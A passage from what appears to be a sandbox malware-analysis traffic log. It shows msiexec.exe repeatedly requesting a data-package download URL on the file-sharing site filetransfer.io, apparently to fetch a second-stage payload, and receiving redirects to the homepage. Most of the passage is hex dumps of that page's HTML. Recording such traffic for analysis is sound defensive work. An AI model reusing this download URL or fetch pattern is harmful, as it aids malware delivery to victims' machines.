2025-01-10 19:14:14 UTC	1369	IN	Data Raw: 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 Data Ascii: g"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="webs
2025-01-10 19:14:14 UTC	1369	IN	Data Raw: 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 76 Data Ascii: ning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLeav
2025-01-10 19:14:14 UTC	1369	IN	Data Raw: 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 65 Data Ascii: ES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@se
2025-01-10 19:14:14 UTC	1355	IN	Data Raw: 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e 3e Data Ascii: itch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span>
2025-01-10 19:14:14 UTC	1369	IN	Data Raw: 62 30 35 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f Data Ascii: b05<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremo
2025-01-10 19:14:14 UTC	1369	IN	Data Raw: 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 Data Ascii: </label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max
2025-01-10 19:14:14 UTC	90	IN	Data Raw: 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: ass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	57924	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:14 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:14 UTC	611	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:14 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:14 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a2Ij1eBlrPaOQteMpAYFvz2mx6zrbCv2ifito5KSxfC7CRfDnJF0xcX2499NxrUUFz2Rhm7teejsN1OyxMR2Vb0AEPqj9JTbkP%2BdZ15PZqu6sHXwZCbANvTsW5tD9QoS3m4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd2aba8cf797-EWR
2025-01-10 19:14:14 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	57925	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:15 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:15 UTC	950	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: z7vUTXxs04EAB8K/HaTBKtMwGzAEW2BvagtJf2YeSVtd6uCnDga/ZXdrG7VL5Qr/dM2/ECyVnHk= x-amz-request-id: 4TY5RWTT0NSMXSTT Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NgLAWOEsWoDsgXIrNXK07WSTsM%2FOCsfVcF%2B%2FfUUVTpYRRO3F4uTsR7zEdDqfgCPAPQ2W5z%2Fu6ubqellPvptvqWUCNshHVN1LUyC6mGVYnhdibeRHd6X%2Fa%2FXI1fKED6SniPA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd2e9b27c323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1511&min_rtt=1501&rtt_var=584&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=798&delivery_rate=1839949&cwnd=214&unsent_bytes=0&cid=4ad46235bc0db1f2&ts=188&x=0"
2025-01-10 19:14:15 UTC	1369	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:15 UTC	1369	IN	Data Raw: 6e 22 20 73 69 7a 65 73 3d 22 31 36 30 78 31 36 30 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 39 36 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 Data Ascii: n" sizes="160x160" href="/img/favicon/160.png"><link rel="apple-touch-icon" sizes="192x192" href="/img/favicon/192.png"><link rel="apple-touch-icon-precomposed" sizes="96x96" href="/img/favicon/solid/96.png"><link rel="apple-touch-icon-precompose
2025-01-10 19:14:15 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 43 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 34 34 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 37 30 78 37 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 74 69 Data Ascii: <meta name="application-name" content="FileTransfer.io"><meta name="msapplication-TileColor" content="#000000"><meta name="msapplication-TileImage" content="/img/favicon/144.png"><meta name="msapplication-square70x70logo" content="/img/favicon/ms/ti
2025-01-10 19:14:15 UTC	1369	IN	Data Raw: 75 74 73 20 3d 20 7b 7d 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 74 61 67 69 6e 70 75 74 20 3d 20 22 53 65 70 61 72 61 74 65 20 77 69 74 68 20 61 20 63 6f 6d 6d 61 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 4c 6f 61 64 69 6e 67 20 3d 20 22 50 6c 65 61 73 65 20 77 61 69 74 e2 80 a6 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 43 6c 6f 73 65 20 3d 20 22 43 6c 6f 73 65 20 28 45 53 43 29 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 65 6d 61 69 6c 52 65 71 75 69 72 65 64 20 3d 20 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 6e 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 20 Data Ascii: uts = {}; MESSAGES.placeholders.taginput = "Separate with a comma"; MESSAGES.placeholders.popupLoading = "Please wait"; MESSAGES.placeholders.popupClose = "Close (ESC)"; MESSAGES.alerts.emailRequired = "Please enter an e-mail address
2025-01-10 19:14:15 UTC	1369	IN	Data Raw: 53 41 47 45 53 2e 6c 61 62 65 6c 73 2e 63 6f 70 79 4d 61 6e 75 61 6c 6c 79 2e 63 6d 64 20 3d 20 22 50 72 65 73 73 20 e2 8c 98 2d 43 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 66 69 6c 65 6c 69 73 74 20 3d 20 22 43 68 6f 6f 73 65 20 66 69 6c 65 73 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 69 6e 67 20 3d 20 22 25 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 43 6f 6d 70 6c 65 74 65 20 3d 20 22 44 61 74 61 20 70 61 63 6b 61 67 65 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 50 72 6f 62 6c 65 6d 20 3d 20 22 50 72 6f 62 6c 65 6d 20 77 69 74 68 20 75 70 Data Ascii: SAGES.labels.copyManually.cmd = "Press -C"; MESSAGES.titles.filelist = "Choose files"; MESSAGES.titles.uploading = "% uploaded"; MESSAGES.titles.uploadComplete = "Data package uploaded"; MESSAGES.titles.uploadProblem = "Problem with up
2025-01-10 19:14:15 UTC	1369	IN	Data Raw: 6f 6f 67 6c 65 20 74 61 67 20 28 67 74 61 67 2e 6a 73 29 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 47 4b 4a 5a 54 35 30 46 35 58 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 Data Ascii: oogle tag (gtag.js) --><script async src="https://www.googletagmanager.com/gtag/js?id=G-GKJZT50F5X"></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config',
2025-01-10 19:14:15 UTC	410	IN	Data Raw: 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 74 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 66 69 6c 65 73 22 0a 09 09 09 09 20 20 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 22 20 68 72 65 66 3d 22 2f 70 72 69 63 65 6c 69 73 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 2d 69 74 65 6d 22 3e 52 65 71 75 65 73 74 20 66 69 6c 65 73 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 62 61 64 67 65 20 73 6d 61 6c 6c 20 66 69 6c 6c 65 64 22 3e 62 65 74 61 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 2f 6c 69 3e 0a 0a 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 Data Ascii: avigation-item"><a title="Request files" class="underline" href="/pricelist"><span class="underline-item">Request files</span><span class="badge small filled">beta</span></a></li><li class="navigation-item"><a
2025-01-10 19:14:15 UTC	1369	IN	Data Raw: 32 61 32 38 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 2a28<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:14:15 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:14:15 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	57926	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:16 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:16 UTC	623	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:16 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:16 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mov7aYBXNxq4rwj%2BUCnXEIIbcKZNnP%2BbpIONgzR5JcdvZHA4U1%2FqetUXMLt0LvZcmBFaq64c0BufiNU%2BK%2FxSsXxgqV%2F8X4zTq8LEKAjAnQPPIzLbdjALE8rttDdIi%2BCTZgQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd3598988ccc-EWR
